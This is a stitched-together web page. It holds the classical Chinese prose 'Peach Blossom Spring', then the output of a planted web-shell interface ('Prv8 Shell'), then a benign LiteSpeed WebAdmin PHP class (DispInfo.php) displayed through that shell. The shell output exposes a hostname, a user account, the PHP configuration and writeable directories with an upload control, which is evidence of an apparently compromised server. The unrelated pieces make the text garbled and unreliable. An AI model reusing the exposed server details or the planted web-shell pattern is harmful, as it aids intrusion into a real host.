晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/local/lsws/admin/html.6.3.1/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lsws/admin/html.6.3.1/classes/DispInfo.php
<?php

class DispInfo
{

    public $_ctrlUrl ;
    public $_mid ;
    public $_pid ;
    public $_tid ;
    public $_ref ;
    public $_act ;
    public $_token ;
    public $_tokenInput ;
    public $_sort ;
    public $_type ;
    public $_name ;
    public $_tabs ;
    public $_titleLabel ;
    public $_info ;
    public $_err ;

    public function __construct( $url )
    {
        $this->_ctrlUrl = $url ;

        $has_mid = FALSE ;
        $has_pid = FALSE ;

        $this->_mid = $this->_pid = $this->_tid = $this->_ref = NULL ;

        $this->_mid = DUtil::getGoodVal(DUtil::grab_input("request", 'm')) ;

        if ( $this->_mid == NULL ) {
            $this->_mid = 'serv' ;
        }
        else {
            $has_mid = TRUE ;
        }

        $pos = strpos($this->_mid, '_') ;
        if ( $pos > 0 ) {
            $this->_type = substr($this->_mid, 0, $pos) ;
            $this->_name = substr($this->_mid, $pos + 1) ;
        }
        else {
            $this->_type = $this->_mid ;
            $this->_name = NULL ;
        }
        $this->_info['mid'] = $this->_name ;

        $this->_tabs = DPageDef::GetInstance()->GetTabDef($this->_type) ;

        if ( ! is_array($this->_tabs) ) {
            die("Invalid pid") ;
        }
        $pids = array_keys($this->_tabs) ;

        if ( $has_mid ) {
            $this->_pid = DUtil::getGoodVal(DUtil::grab_input("request", 'p')) ;
        }
        if ( $this->_pid == NULL ) {
            // get default
            $this->_pid = $pids[0] ;
        }
        else {
            if ( ! in_array($this->_pid, $pids) )
                die("Invalid pid") ;
            $has_pid = TRUE ;
        }

        if ( $has_pid && ! isset($_REQUEST['t0']) && isset($_REQUEST['t']) ) {
            $this->_tid = DUtil::getGoodVal($_REQUEST['t']) ;

            if ( isset($_GET['t1']) && ( DUtil::getLastId($this->_tid) != DUtil::getGoodVal1($_GET['t1']) ) )
                $this->_tid .= '`' . $_GET['t1'] ;

            if ( isset($_REQUEST['r']) )
                $this->_ref = DUtil::getGoodVal1($_REQUEST['r']) ;
            if ( isset($_GET['r1']) )
                $this->_ref .= '`' . DUtil::getGoodVal1($_GET['r1']) ;
        }

        $this->_act = DUtil::getGoodVal(DUtil::grab_input("request", 'a')) ;
        if ( $this->_act == NULL ) {
            $this->_act = 'v' ;
        }
        $this->_tokenInput = DUtil::getGoodVal(DUtil::grab_input("request", 'tk')) ;
        $this->_token = CLIENT::singleton()->getToken() ;

        if ( isset($_GET['sort']) ) {
            $sort = DUtil::getGoodVal1($_GET['sort']) ;
            $pos = strpos($sort, '`') ;
            $this->_sort[0] = substr($sort, 0, $pos) ; //tbl
            $this->_sort[1] = substr($sort, $pos + 1, 1) ; //ascend
            $this->_sort[2] = substr($sort, $pos + 2) ; //key
        }
        else {
            $this->_sort[0] = 0 ;
        }

        $this->init() ;
    }

    public function init( $serverName = '' )
    {
        $label = 'Error' ;
        switch ( $this->_type ) {
            case 'serv': $label = 'Server &#187; ' . $serverName ;
                break ;
            case 'sltop': $label = 'Listeners' ;
                break ;
            case 'sl': $label = 'Listener &#187; ' . $this->_name ;
                break ;
            case 'sl4': $label = 'TCP Listener &#187; ' . $this->_name ;
                break ;
            case 'vhtop': $label = 'Virtual Hosts' ;
                break ;
            case 'vh': $label = 'Virtual Host &#187; ' . $this->_name ;
                break ;
            case 'tptop': $label = 'Virtual Host Templates' ;
                break ;
            case 'tp': $label = 'Virtual Host Template &#187; ' . $this->_name ;
                break ;
            case 'lbtop': $label = 'Clusters' ;
                break ;
            case 'lb':
                $label = 'Layer 7 Cluster &#187; ' . $this->_name ;
                break ;
            case 'lb4':
                $label = 'Layer 4 Cluster &#187; ' . $this->_name ;
                break ;
            case 'ha': $label = 'High Availability' ;
                break ;
            case 'admin': $label = 'WebAdmin Console' ;
                break ;
            case 'altop': $label = 'WebAdmin Listeners' ;
                break ;
            case 'al': $label = 'WebAdmin Listener &#187; ' . $this->_name ;
                break ;
        }
        $this->_titleLabel = $label ;
    }

}

haha - 2025